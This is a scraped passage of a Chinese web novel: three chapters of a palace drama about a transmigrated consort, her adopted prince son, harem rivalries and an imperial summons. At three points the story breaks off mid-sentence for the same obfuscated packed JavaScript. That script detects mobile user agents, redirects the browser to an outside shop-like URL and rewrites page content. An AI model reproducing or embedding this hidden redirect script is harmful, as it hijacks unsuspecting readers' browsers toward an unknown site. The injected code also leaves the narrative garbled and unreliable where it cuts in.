少年强迫自己把碗里的沙葱牛肉吃完,随后又愣愣地放下筷子不再动作,于少微瞥见他失魂落魄的模样,暗暗啧了一声,她本来打算吃饱了再教训他,瞧瞧这模样,就那么迫不及待被她骂吗? “你——”于少微用筷头敲了敲他的碗,发愣的亓轸被吓了一跳,有些茫然的抬起头。 哦呦,眼里没光了,唉……于少微一下泄了气,心有些酸。 “你没有什么想对我说的?”她垂下眼,有些不忍心看他的眼神。 “我…您的脚怎么样了?看太医了吗?”少年声音发紧。 “已经好了,看了才回来的,不然你以为我为什么那么大晚上才回。”于少微语调上扬,有意轻松氛围。 亓轸轻轻的“嗯”了一声,两人又陷入沉默。 于少微静静的看着他。 亓轸慌乱的错开眼,他不敢对上她的眼睛,他迫切的希望她说些什么,却也害怕她开口。或许他应该说些什么?或者询问?你去干什么了?你的脚为什么受伤了?少年心乱如麻,半响,低低吐出三个字:“对不起。” 于少微很难形容自己彼时的心情,等了半天,等到一句道歉,一种无力感顿时充斥全身。 “你,唉…算了,你是该和我道歉,为了你我遭老罪了。”她自言自语道。 亓轸拿不准她想要做什么,只得静静地垂眸坐在位置上。 于少微看着少年一副被抛弃的自闭样,内心长叹一口气,无奈道:“六皇子都已经告诉我了。” 亓轸眨了眨眼,没什么别的反应。 “你想怎么办?或者,我能为你做什么?”于少微认真的看着他。 亓轸猛得抬头,有些不可置信的看了过来,睁圆的眼里泛着绿色的波光。 10. 第十章 看着亓轸变化的神色,于少微心蓦地就软了,她长吁一口气,语重心长道:“这件事我会替你做主,一定还你一个公道,只是有一点,虽然我不希望再有,但万一还是发生了类似的事情,我希望你能第一时间告诉我好吗?” 亓轸愣愣地点头。 少年呆呆的模样看得她有些心疼,又有些手痒,情不自禁伸手在他头顶撸了一把,看见人更加茫然的神色,于少微心满意足的拍了拍手,又道:“你这次不愿与我说我能够理解,我明白这是因为我没有给你足够的安全感和让你信服的能力” 亓轸闻言,喉咙向下吞咽,欲言又止。 于少微没有等他发言,自顾自地继续说道:“我娘死的早,我爹不喜我,继母刻薄,姊妹之间也多龌龊,所以我没有亲人。进宫前我一直被关在宅子里,几乎也没见过外人,所以也无甚朋友,而宫里的人——” 于少微给了他一个你懂的的眼神 “所以啊——”她声音提高了一些,面带笑意地看着有些局促的少年,“你或许是我唯一的家人。” 亓轸并没有太大的反应,眼里的绿波也只方才荡漾一瞬又很快恢复了平静,于少微并不指望说两句话就能让人感动和信任,初到这个陌生的世界,她需要给自己找一个落定的锚点,让自己能够确认一方真实、能有一点链接,不然她无法稳定自己的状态去生活,而如果一直处于一个飘浮的状态,她迟早会出问题。 她对前世的人事失望,现在又蓦然置身与另一方天地,她别无所求,只希望能痛快活一场。眼前的少年是她的养子,是第一个被送到她身边、与她绑在一起的人,同样不被亲人所爱,同样寄人篱下,同样…… 于少微借着喝水的动作看向正在沉思的少年,他或许能……拖住她。 亓轸并不清楚于少微心中所想,刚刚那番话给他的触动还不及她去找德妃时怒气冲冲的背影,突如其来的真心先带来的是防备,或许她真的是这么想的,但人心易变,此时此刻的誓言无法捆住往后的长长远远…… “叮叮——” 亓轸回过神来,于少微又拿筷子敲他的碗。 “还吃吗?”于少微朝桌子上的菜努努嘴。 “吃。”亓轸直接端起碗来给自己夹了一块方方正正的樱桃肉,用勺子捣烂拌着米饭大口大口吞咽。 于少微将冬瓜瑶柱盅往他面前推了推,叮嘱道:“别吃太快,喝点汤润润。” 亓轸鼓着腮帮子点点头,又去夹粉蒸鸡。 宫人端上来一盅冰糖百合炖官燕,于少微慢吞吞喝完,亓轸也吃得差不多了,今日闹得有些晚,两人一齐离开。 不待槐序走近,亓轸先一步起身去扶于少微,她安然享受养子的孝心,将半边身子的重量都借着手臂压在他身上,亓轸不解,不是说已经好了吗,怎么看着还是严重? “太医是怎么说您的脚的?”亓轸皱眉看着于少微。 “太医说不严重,已经给我治好了。”于少微低头瞅自己的鞋。 “那你怎么——”亓轸欲言又止。 于少微想了想,突然松开少年挽着的手臂,受伤的那只脚试着用力,不痛,小心翼翼的往前走了两小步,正常,女子回头看向少年,惊奇道:“真完全好了欸,方才是不敢用力怕造成二次伤害才瘸着走的,这太医正骨技术真不错!下次还找他!” 亓轸表情有些无语,跨步走到于少微身边但没再扶她,少年用手掩着打哈欠的嘴,疲惫道:“最好还是不要有下次了。” * 第二日从皇后宫中请完安回来,于少微就拿上珊瑚簪去找淑妃。 淑妃正在自己宫中打着算盘计算明年宴会的预算,一边算还一边拿着笔写写画画,账目庞大,需要注意的地方繁多,她时不时就要停下叹一口气,此时听到宫人通报,心感不耐,当即就拉下脸,自顾自缓了好一会儿,才皱着眉头让人将于少微带进来。 于少微站在外面等了有些时候,一进门就瞥到淑妃手边的算盘和账本,心里瞬道不妙,待走近后直接扑通一声跪下,恭恭敬敬的给淑妃行了个大礼。 “诶诶诶,妹妹怎么突然那么大礼?”文淑妃语带嗔怪,人却坐在卧榻上一动不动,安然等着下首的女子将礼行完,才让身边的宫人去扶。 于少微随着指示坐下,面露抱歉:“早该知晓娘娘事繁,贸然打扰是妾的错,该给您赔罪的。” 文淑妃见她满脸自责,心情好上一些,将手边的算盘推开,笑道:“哪里的话。” 于少微起身为文淑妃倒了杯茶,亲手奉给她:“娘娘大度,少微更应该感恩,方才瞧着娘娘是在算账,妾幼时也学过算盘,若是娘娘需要打下手的,尽管吩咐。” 文淑妃盯了她几秒,才笑着接了这杯茶,低头细细品了一口,才悠悠道:“这活细碎,不好麻烦你。” “娘娘这就谦虚了,宫里谁不知道娘娘算得一手好账,管账的本事连陛下都赞叹不已,妾做梦都想在娘娘跟前学习,若是能为娘娘分忧,也不枉您对少微的照拂。” 于少微说得诚恳,就差没把自己只干活不添名,愿当纯种牛马的意思写在脸上。文淑妃听得妥帖,心里也在思量,若真把她叫过来替自己干活,倒也的确省她不少事,好有时间再与贵妃多争一些东西,就是不知她能力如何,好不好用,值不值得信任,还需考察几番…… “你有这份心自然是好的,我若需要,定来寻你。”文淑妃缓缓笑道。 “娘娘可千万别和少微客气,这可是外头求都求不来的机会,少微就指望跟着您长见识。”于少微嘴里说着谄媚的话,面上硬是摆出一副崇拜的表情。 文淑妃受用,拍拍于少微的手让她别贫,于少微瞧着她眼中郁色散去,心里松了口气,才小心翼翼地将手中的长条匣子奉上。 “这是?”文淑妃接过匣子有些疑惑。 于少微一脸苦笑:“娘娘打开看看吧。” 文淑妃看见匣子里的珊瑚簪,挑了挑眉:“你这是何意?” 于少微面带胆怯:“听闻贵妃娘娘对这簪子有意,但此物是娘娘您赠与妾的,妾身珍之若宝,但……妾人微言轻,只能烦请娘娘替妾定夺。” 文淑妃闻言皱眉:“她向你索要了?” 于少微摇摇头,将二皇子与五皇子一事和盘托出。 “臣妾一回来就看见五皇子他脸上的伤,逼问好久才告诉我原委。”于少微声音有些哽咽,“妾并不知晓二皇子殿下是否得了贵妃娘娘的授意,只是无论如何,妾实在不知该拿这簪子如何是好,臣妾无能,辜负娘娘的一片心意,实在是罪该万死。” 文淑妃眉心渐渐舒展开,眼里闪着精光,嘴角挂着若有所思的微笑,她拉着于少微的手一派和蔼:“此事是你和五皇子受委屈了,我一定会帮你讨回公道,刚好我等会儿要去贵妃的景阳宫,你且跟我一块去吧。” 于少微点头应允,淑妃又关心了下五皇子的伤势,喝了两杯茶,便带着于少微一起往景阳宫走去。 * 景阳宫 前去通报的宫人将淑妃与于少微二人引进正殿,谢贵妃坐在上首,文淑妃进来后径直寻了位置自己坐下,于少微身边突然落空,独自站在殿中恭敬行礼。 谢贵妃淡淡颔首,马上有人领于少微就坐,文淑妃见人都坐定,抬手让宫女将匣子递给贵妃,后者得了匣子并没有立刻打开,只是看着淑妃淡淡道:“你这又是何意?” “贵妃娘娘打开看看就知道了。”文淑妃笑意盈盈。 谢贵妃见她这个样子瞬间眉头拧成一团,张嘴欲说些什么,然犹豫几瞬,还是唤人将匣子打开。 “你这是何意?”谢贵妃看清匣子里的簪子,对着文淑妃冷冷发问。 文淑妃单手托腮,语气疑惑:“不是姐姐您要的吗?怎么这会儿还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16849601|191471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问我什么意思?” “我什么时候要过这东西?还是——”谢贵妃看着文淑妃装模作样的神态,表情瞬间警觉起来:“你又想做什么?” 文淑妃冷哼两声:“于婕妤,你来说吧。” 谢贵妃眯起眼睛看过来:“于婕妤?本宫没记错的话,这簪子现在的主人是你吧?” “回娘娘的话,是臣妾没错。”于少微干脆道。 “昨日二皇子殿下向五皇子讨要臣妾这跟簪子,五皇子不好做臣妾的主,所以就拒绝了二殿下,两人起了争执,然后不知怎的……可能是不小心…五皇子撞到了柱子上,臣妾晚上回去看到,额头和眼角好大两块乌青……”于少微声音低了下来,但又马上道:“臣妾斗胆猜测或许是娘娘对这簪子有兴趣,所以才吩咐二殿下来问,只是这簪子是淑妃娘娘所赠,臣妾不敢乱做主,所以才去求了淑妃娘娘与臣妾一道来找您。” 文淑妃扯了扯嘴角,凉凉道:“姐姐听明白了吗?” 谢贵妃冷笑:“于婕妤这是在指责我儿欺负了五皇子?” 于少微低头:“臣妾不敢。” “于婕妤,在这宫里,饭不能乱吃,话更不能乱讲,难道淑妃没教过你吗?还是你蠢笨至此,跑来我这里触霉头?”谢贵妃语带威胁,凌厉的目光似尖刀般像于少微袭来。 “臣妾不敢。”于少微将头埋得更低。 “贵妃娘娘好大的火气,三言两语就给人定罪了?”文淑妃挑眉横插一句,说话的语调跟唱歌似的。 “别怪妹妹多嘴,这事到底谁欺负谁,你我心里都跟明镜似的,又何必在一个婕妤那里摆脸色?”见人脸色不好,文淑妃掩唇轻笑,又道:“当然姐姐认定是于婕妤污蔑,她自然也是没有办法,还不得认罚,只是,唉……”淑妃装模作样地叹了口气 “两位殿下虽同为皇子,二殿下有您有谢家,母族强盛,而五殿下却完全仰仗陛下,姐姐说这事被陛下知道了又会如何?听闻二殿下快到议亲的年纪了吧?哎呀呀,也不知道是哪家贵女有幸,能坐上这个镶金嵌玉的二皇子妃宝座。” 谢贵妃闻言恨恨地盯着文淑妃,当今陛下早就不满世族势大,一直想尽办法的减枝除叶,各地世族行为都谨慎不少,二皇子与五皇子一事本可以兄弟口角一事化了,但若硬要往这名头上靠,难免会引起陛下反感,更别说轲儿还要议亲! 文淑妃笑眯眯地看着谢贵妃脸色阴沉的样子,适时开口:“姐姐打算如何啊?” 谢贵妃觑了她一眼,很快恢复正常的神色,对于少微道:“等二皇子回来我会问清事实,若真有其事,我自会给你们母子一个交代。” 于少微起身谢恩:“娘娘英明,那臣妾就安心等您消息。” 事情办完,在场各位都没有喝茶聊天的心思,文淑妃和谢贵妃互相看着对方,眼神噼里啪啦仿佛下一秒就要燃起火来。 于少微缩在位置上和旁边宫女一起装鹌鹑,借着喝茶的动作偷偷在两人间来回扫视,终于,文淑妃率先收回目光起身要走,于少微没看够,有些意犹未尽的起身,上前与贵妃行礼作别。 谢贵妃淡淡瞥了她一眼,让人把匣子还给她,却是对着淑妃冷言道:“把你的东西带回去。” 文淑妃推脱,状似惊讶道:“我专门给姐姐送过来的,姐姐怎么又不要了?如果不要,那为什么又要让二殿下去讨?想一出是一出,姐姐莫不是耍我们玩的吧?” “我有没有讨要你心里不清楚?”谢贵妃讽刺的扯了扯嘴角。 文淑妃正色道:“姐姐所想我怎会知晓?妹妹只是看到什么就是什么罢了。” 谢贵妃蓦然沉默下来,于少微对着那方送到她面前的扁匣也不敢伸手去接,半响,谢贵妃靠在椅背上,仰头捏了捏眉心,疲惫道:“你拿回去吧,宫宴的事我再与你商讨。” 文淑妃回头嫣然一笑:“姐姐好好休息,我下午再来看你。” 11. 第十一章 傍晚于少微去接亓轸下学,少年一路沉默,直到回到晴雨阁后才对于少微讷讷道:“今日午膳时,二哥与我道歉了。” 于少微有些惊讶:“贵妃娘娘动作倒快,我原以为最快也得等明日才有结果。” 亓轸胡乱点头。 他有些无法形容二皇子向他道歉时他的心情。那位向来眼高于顶,自傲于外祖家世,受父皇器重的二兄,在与他擦肩而过时,丢下一句轻飘飘的对不起,还不等他反应,就已经消散在风里。 原来他也会道歉。 六岁那年,他被亓轲推搡着撞在假山石上,额角淌下的血糊了半张脸,他先去找自己的母亲,她只是冷淡的扫了他一眼,丢下一块帕子让他去找父皇,他去找了,却只换来一句“兄弟间玩闹,何必当真”,接着转头便看见亓轲站在贵妃身侧,笑得得意又轻蔑。 七岁时,宫人受亓轩指使,故意将他的膳食换成馊掉的饭菜,他饿了整整一日,鼓起勇气向掌事嬷嬷理论,却被斥责“小小年纪心思歹毒,污蔑宫人”。 …… 再后来沈贵人死了,他又被送到于贤妃宫中……亓轸抚上自己眼角的淤青,指腹按在肿痛处,力道渐重。 多少个夜晚,他缩在宫殿的角落,听着别处传来的欢笑声,母亲看他的眼神永远是冷的,父皇从来不在意他这号人,至于所谓兄弟…… 他曾寄望于公道,盼着有人能看见他的委屈,可等来的却只有忽视与纵容,他又想靠自己,换来的却是变本加厉的侮辱。后来他学乖了,收敛了眼底的戾气,学着把恨意藏在温顺的言行下,可那些刻在骨血里的怨怼,从未消散过半分。 一句道歉,够吗? 于少微看着面前眼神晦暗的少年,沉沉地叹了口气,她想起以前寄住在舅舅家里的日子,同龄的表妹将她寄住的事宣扬的全校皆知,同学们的表情或怜悯或鄙夷或…兴致勃勃,舅舅不会理会她,他只会斥责她没事找事,表妹…表妹有时同情,但更多的是争吵时那句“你不要住我家!”,老师会帮她,但老师帮不完,而她的父母…于少微闭上眼,母亲哭泣着诉苦的声音又萦绕在她耳边,电话那头传来小孩嬉笑的声音,他们当初能带走妹妹,为什么偏偏把她撇下了? 亓轸察觉到两人之间浓浓的低落情绪,猛然一愣,于少微垂首坐在他旁边,看不清表情,他却莫名觉得自己知晓,知晓她的落寞、她的伤心,她在为他,也在为自己。 少年轻轻挪了挪身子,拳头握紧又松开,反复犹豫了几瞬,终于抬手,虚虚地搭在了于少微的肩上,声音带着几分生涩的认真:“谢谢您帮我。” 他很少主动做这样亲近的动作,说完顿觉得有些害臊,慌忙想抽手后退。不料于少微突然伸手,将意图逃跑的少年牢牢圈进怀里,亓轸僵在原地,下意识想挣开,却被她收紧手臂收紧,摁得更紧了些。 “你别动。”她的声音闷闷的。 少年躬着身束手僵在原地,他不习惯这样的接触,但他也找不到理由推开她。屋外的天已经黑透,凉风从支起的栏窗下钻入,不知不觉灌满了半间屋子,纱帘在晃动,跳跃的烛火映出墙面上相拥的剪影,颤颤巍巍,呼一下消失了。 * 晚间用膳,亓轸好奇于少微是如何做到让二皇子道歉的,于少微便将景阳宫的事情告诉了他,又状似无意的感慨:“自前朝起,抑制世家便为国策,只是诸姓望族根深蒂固,其势力不但盘踞朝野,中枢州县也皆有党羽,实难彻底剪除,如此顽疾沉疴,陛下忌惮,也忧心已久啊。” 亓轸闻言低头刨了几口绿豆水饭,没有说话。 于少微见他没有反应,便也闭嘴不再谈论相关,将话题又引到了太子的婚事。 “听宫中传闻说太子妃定了皇后的侄女,也不知道是真是假。”于少微一脸八卦的神情,拿眼神觑他。 亓轸咽下嘴里的食物,回应道:“是母后的外甥女,她堂妹的女儿,姓郑。” 于少微惊讶:“你消息倒比我灵通。” 亓轸被于少微的表情取悦到,又道:“听亓轩说的,他与太子关系好,成天嚷嚷他与太子的事情,不想听都不行。”少年平平的语气带着隐隐的嫌弃。 “这样啊。”于少微若有所思,“听你所言,四殿下与淑妃娘娘似乎并不相像。” 亓轸斜了于少微一眼,点点头:“淑妃娘娘生亓轩时难产,四哥刚出生就被送到母后宫里,后面淑妃娘娘又生二公主,亓轩直到六岁才回怡春宫。” “但我好像很少在淑妃那里见到四殿下。”于少微抵着下巴回忆。 “他时常去东宫找太子,有时会宿在哪里。” “淑妃不管?” “淑妃与亓轩并不是十分亲近。” “这样啊……我还以为都与德妃与贵妃母子一般呢。”于少微自言自语。 “欸,那太子是什么样的人?我进宫也有一段时间了,好像从未见过。”于少微又去觑亓轸。 少年放下筷子,有些一言难尽的看向于少微:“您想问什么直接与我说就好,倒也不必这么…看,看我。” 于少微嘿嘿一笑,偏头大咧咧对上亓轸的眼睛:“我这不是怕你嫌我问题太多吗。” 亓轸满脸无语,但还是耐心道:“太子身体不好,他与大公主是双胎,出生时大公主足足比他重了两斤有余,太医废了好多药材温养才保住太子的性命,但从娘胎里落下的病根很难治愈,父皇与母后很心疼太子,免了他很多规矩,所以太子甚少出东宫。” “难怪见不着……”于少微眯眼沉思,“那那位即将成为太子妃的郑氏女是何来头?“ “她是工部尚书郑戒的大女儿,郑尚书为人清正,且精于工料,通晓法式,在风水方面也颇有造诣,其父亲是蜀地悬云书院的主人,蜀地遥远,悬云书院向来避世。“ 言罢又看了于少微一眼,像是知道她接下来想问什么,又接着道:“皇后的母族陈氏在父皇登基时就已显露颓势,近十几年来族中更是无人可用,选郑氏女是皇后的主意,但父皇也是同意的。” “但郑尚书不同意。”他又补了一句。 于少微正在喝茶,闻言被惊得一呛:“郑尚书直接就和皇上说不同意了?” 亓轸同样不解的点点头,“郑尚书直言其女才疏学浅,样貌平凡,脾性古怪,实不堪担太子妃重任,严词拒绝了这桩婚事。” “郑尚书就,就真这么说自己女儿?”于少微震惊,额……这么贬低自己女儿真的好吗? “亓轩说的,关于太子的事情他的话一般不会有假。” “那…四殿下说得时候什么表情?” 亓轸给她一个“你猜”的眼神。 “幸灾乐祸?”于少微不确定。 亓轸挑眉,孺子可教也。 “那太子什么态度?”于少微又问。 “太子直言自己身子不好,不想耽误人家姑娘,他的婚事还是缓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16849602|191471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几年再议。” 于少微回过味来,这才是郑尚书拒绝的理由吧!但,这可是太子啊,拒绝的可是储君啊,未来的皇上啊!郑尚书心就不痛吗?还是……如果如此,他可真是位好父亲…… 亓轸显然与于少微想得一样,但他也同样不解,真的会有父亲为了女儿,放弃唾手可得的权势吗?太子身体不好,若太子妃能诞下嫡子,其身为外祖,连带着其郑氏一族,都将获得巨大利益,真的会有人不心动吗? “那皇上皇后什么反应?这桩婚事还是定下了吧?”于少微不愿再往下想,又继续问道。 “父皇斥责了太子,他已有十七,身为储君,这般年纪怎可不成婚。又转头对着郑尚书恩威并施,终是将婚事定下了,应该明日早朝就会下旨。” “皇上皇后真是为太子谋划深远啊。”于少微感叹,郑尚书为人皇上他们想必是清楚的,家世也清正,此次又替女拒绝太子妃之位,这样的人,教养的女儿想必也不会差,即便之后太子……也不必过多担心外戚擅权。 亓轸也想到了这点,却是垂眼神色落寞,虽然同为皇子,他们几个兄弟间,终归是不同的。 见自己将人惹伤心了,于少微拍了拍少年的肩,正色道:“届时你的婚事我一定全力替你筹谋。” 接着又悄声补充一句:“二皇子也快选王妃了,但我觉得这事有得闹,再往后,等太子登基,他不一定有你过得好。” 亓轸自动忽略于少微前一句话,也学着她的样子悄声道:“贵妃娘娘与其身后的谢家不容小觑。” 于少微抿嘴一笑,虽穿越到她所知道的历史中并不存在的大夏,但专制主义中央集权的不断加强直至达到顶峰是每任皇帝孜孜追求的目标,更别说据她这几天所了解到的情况,大夏至当今圣上已历四代,而剪除世家更是从前朝就已经开始进行。 前朝世家擅权,历代君主虽多方筹谋,依然难遏其势。诸大族于地方恣意侵夺,致“富者田连阡陌,贫者无立锥之地”,失地百姓或鬻身为奴,或妻离子散,终成世家膏腴之资。积怨既久,民变遂起,义军结连北漠蛮族,重创世族。然而还未享受片刻安歇,蛮族旋即觊觎中原,亓氏先祖作为义军一支,又合世族残力,共御外侮,终立大夏。 世族虽两度遭创,元气大损,奈何其根基盘错,如原上野草,春风一渡便可复萌。而亓氏一脉既自乱世存续,于世家之惕厉从未稍懈,再加上广开科举,广迎寒门之士,大夏立国近百年,至当今庆帝,虽表面波澜不惊,但于少微笃定,皇权之重,实已悄然倾移。 “你且再看看。”于少微作出回应。 亓轸不想再与她讨论这个,颔首表示听到了,又低头继续吃饭。 “你还没回答我上一个问题的,吾儿喜欢什么样的王妃?我定全力为你筹谋!”于少微表情促狭,眯眼打趣道,她聊开心了,不允许少年退出。 亓轸悄悄翻了两个白眼,自己都还未在宫里站稳脚跟就想着他几年后的事,怕不是闲得慌?还是……亓轸想起她之前的表现,不由得扪心自问,她是不是真的不正常?患脑疾者真的能做皇妃吗?他陷入沉思。 “母妃的好意我心领了,只是宫中生活多有不易,您初来乍到,还是是先为自己多筹谋一些吧。”亓轸故意将“母妃”二字咬得很重,像是报复于少微对他的调侃。 与此同时,门外响起脚步声,两人一起回头,是太和殿的内侍前来传旨,宣于婕妤今晚侍寝。 12. 第十二章 “恭喜婕妤,请您去准备吧,一个时辰后会有轿撵过来接您。”内侍长着一张圆脸,说话很和气。 于少微走上前,面上挂着笑,语气亲切:“多谢公公,近日暑气烦盛,公公过来传话着实辛苦,喝杯茶歇歇吧。” 于少微边说着边朝旁边使了个眼色,槐序立马倒了杯茶迎上去,递茶杯的时候又飞快从袖子里掏出一个袖珍荷包塞到那内侍手里。 手持拂尘的内侍借着茶杯的掩饰下颠了颠荷包的重量,笑出一脸褶子:“婕妤宫里的茶味道清甜,近来天气燥热,想来陛下也会喜欢的,婕妤好生准备,奴才就先不打扰了。” 于少微做出欣喜的样子,含笑点头:“麻烦公公了。” 将人送走后,于少微指使青阳交代厨房去做一碗马蹄露,做好后拿井水冰镇起来,自己又回到饭桌上继续扒菜。 闷闷扒了几口,忽然又叹息,低声嘟囔道:“给的是最重的那个荷包,足足有半贯呢,真是肉疼。” 亓轸闻言瞟了她一眼,他在旁边看完全程,本来刚觉得她做事还算圆滑,现在又突然开始心疼赏钱,心里愈发糊涂,搞不清她是真傻还是眼皮子浅,忍不住道:“那是父皇身边贴身伺候的公公,不过半贯钱而已,多少人想给都没机会给。” “我知道啊,不然我会给半贯?但也不妨碍我心疼钱啊!”于少微拿眼睛觑他,一脸惆怅。 亓轸语塞,将视线收回,决定今晚不再和她说话。 于少微等了会儿没听到回应,又伸手戳了戳少年的胳膊,见人一脸不耐地看过来,她有些认真地解释道:“你或许无法体会,我一个月的俸禄只有十二贯,又没有母族在背后支持,平日宫中的赏赐也不能随意变卖,但宫中需要用钱的地方又很多,所以我手头很紧的。” 亓轸面上的表情慢慢僵掉,有些不知所措。他虽不受重视,但好歹身为皇子,在…起码被送到于贤妃宫里后,他也算锦衣玉食,几乎没什么缺钱的时候,但是她……少年又想到关于她的过去,愧疚忽然涌上心头,有些别扭道:“我也是有俸禄的,平常也没什么机会花,您要是需要的话,我待会儿拿给您。” 于少微摇头:“我怎么能要你的钱。” “其实也没什么,我用钱的机会不多,您不用多想。”亓轸表现得十分善解人意。 “真的不用了,但还是很谢谢你。”于少微语气诚恳。 “真的不用吗?”亓轸追问。 于少微卡格,犹豫了几下,有些不好意思地挠了挠脸:“额……可能?或许?如果我有需要的话?” 亓轸露出今晚第一个笑容,抿着嘴神气道:“母妃毋须与我客气。” 于少微眼睛微微睁大,哟,可以嘛,已经敢和她说笑了,短短几天,不得了啊!嗐,还得是她妙手回春,只需略出小力,就能感化一颗少年的心。 亓轸发现于少微又露出奇怪的微笑,看他的眼神像看着什么……战利品,少年不由得打了个寒颤,他摸摸手背上竖起的汗毛 嘶,奇怪的女人! 于少微乐呵呵地欣赏完少年垂眼摸手埋头一整套躲避动作,勾起唇角正欲再说点什么,就听到槐序从门外走了进来。她俯身在于少微耳边悄言,于少微点点头,放下筷子起身就往外面走,正假装自己耳聋眼瞎的亓轸不由奇怪,追着她背影喊到:“你不吃了吗?” 于少微嫌弃:“你就这记性?” 亓轸一愣,耳根瞬间染上薄红,有些不自在道:“哦,好,好的,额…你,我要不要让人给你留,留菜?” 于少微用看傻子的眼神看他,少年也察觉到自己说了什么糊涂话,索性低头看碗,致力于将自己埋进去。 看着少年的局促样,于少微顿时心情大好,因为侍寝带来的紧张也被冲淡许多,她快步走到门口,出去时突然回头对亓轸道:“你吃完就早些回去歇息,不要温书温到那么晚,母妃为自己筹谋去啦。” 轻轻的,门又重新合拢,脚步声也很快消失无踪,亓轸坐在重新恢复安静的暖阁,离去之人的碗筷还摆在他旁边,汤盅里的汤也还剩小半碗,他幽幽地叹了口气,突然瞪了一眼站在不远处的禄子。 小太监瑟瑟发抖,他也不想的啊,可婕妤问他能不说吗!而且,五殿下每晚温书温到什么时辰,他也得跟着同样的时辰才能下值 他,真,的,好,累! 于少微的寝殿香烟袅袅,思及内侍的提醒,她沐浴梳洗后,挑了条藕荷色百迭儒裙,外罩天水碧短儒,简单绾了个单髻,露出雪白修长的脖颈,头上除了一支嵌珠翠碧玺蝴蝶簪,再无别的装饰。 她生了一张极为干净的面庞,如此装扮更衬得整个人恬静柔美,温雅脱俗。偏头时,鬓边颤颤巍巍的蝴蝶替她添了几分少女的灵动,只单垂首站在那里,便如一幅笔墨清润的岁朝清贡图,让人见了就心生安宁,仿佛沐浴在惠风之中。 太和殿的轿撵早已候在晴雨阁外,朱红轿身配着明黄流苏,在夜色中透着肃穆的味道。于少微在宫人的搀扶下提着食盒坐了上去,打头的两个太监各提一盏大红宫灯,烛火在纱罩内明明灭灭,映照出长长的甬道,队伍悄无声息地前行,身侧是暗红的宫墙,墙砖上的苔藓在夜色中泛着湿冷的光,将甬道衬得愈发幽深。 轿撵行得不甚平稳,轻微的颠簸让于少微有些恍惚,四周黑茫茫一片,唯有宫灯的红光在身前摇曳,她抬手抚上食盒的微凉木沿,忽然生出一个奇怪的念头 这宫墙重重,夜色沉沉,她真的活在这个世界上吗?还是说,这不过是一场醒不来的旧梦? 去往太和殿的队伍是安静的,就连走路似乎也悄无声息,但黑夜中的红灯笼是扎眼的,于少微能感受到巡夜宫人匆匆走过时,偷偷回头时投来的打量目光,也能瞥见路过不知名宫殿时,从门缝后漏出的窥探。她坐在轿内,隔着一层薄薄的轿帘,仿佛成了被隔绝在世界之外的人,好似山鬼迎娶的新嫁娘,只待一阵忽然的风刮过,留下一只跌落的红灯笼,孤零零横在路中。 * 到达太和殿的寝宫,庆帝还在政事堂处理政务,于少微把食盒搁在矮几上,自己也在旁边坐下。 庆帝十七岁登基,至今已是第十八个年头,一直勤勉国事,大夏在他的治理下、在前几任皇帝的祭奠下,国力日渐强盛,也正因为如此,明年开春,才能办得了那万国来朝的番夷宴。 庆帝是一个极有能力的皇帝,英明果决,目光长远,擅弄权术,极懂制衡,兼听谏言,虽世族不倒,但仍是百年间,真正意义上大权在握的皇帝。至于后宫,妻妾二十有余,子女十余人,与历代帝王相比不算丰厚,却也足够稳固皇族血脉,维系各方势力平衡。 于少微并不认为这样的人会在后宫与人谈情,而她的进宫也不大可能是于家以为的瞒天过海,或许,从始至终,庆帝要的就是她。 这样的认知让她感到一阵心安,有用的人总不至于死的太快,而这也决定了她面对庆帝时的态度。 月光斜斜,食盒里马蹄露的凉气渐渐散开,于少微无聊地划拉着瓷碗外壁渗出的水珠,马蹄露快不冰了,就在她以为庆帝只能喝上常温马 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16849603|191471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蹄露时,门外传来太监拉长腔调的通报声,于少微迅速整理仪容起身迎了上去。 庆帝一身玄色常服,一进门就拉起了眼前欲跪下行礼的美人,执手相看,于少微有些害羞地错开眼,庆帝低笑两声,定定看了她两眼,拇指轻轻摩挲着她腕间细腻的肌肤,抬手将她鬓边垂落的一缕碎发别至耳后,牵着她的手缓步向寝殿深处走去。 路过矮几,于少微拉住庆帝,声音轻柔:“陛下等等。” 庆帝顺着她的动作盘腿坐在软垫上,于少微端出一碗撒了桂花的甜汤,抿着嘴角两个梨涡,将碗捧到庆帝面前:“这是臣妾自己做的马蹄露,近日天燥,马蹄露清凉解暑,五殿下很是喜欢,常言父子连心,臣妾也想拿给陛下尝尝。” “你待轸儿倒是用心。”庆帝端详着面前低眉顺眼的女子,她正垂首替他搅匀甜汤,雪白的后脖颈在暖光下泛着薄胎瓷般的透光感,似乎要比他手上的玉扳指还要温润 倒与那晚不同。 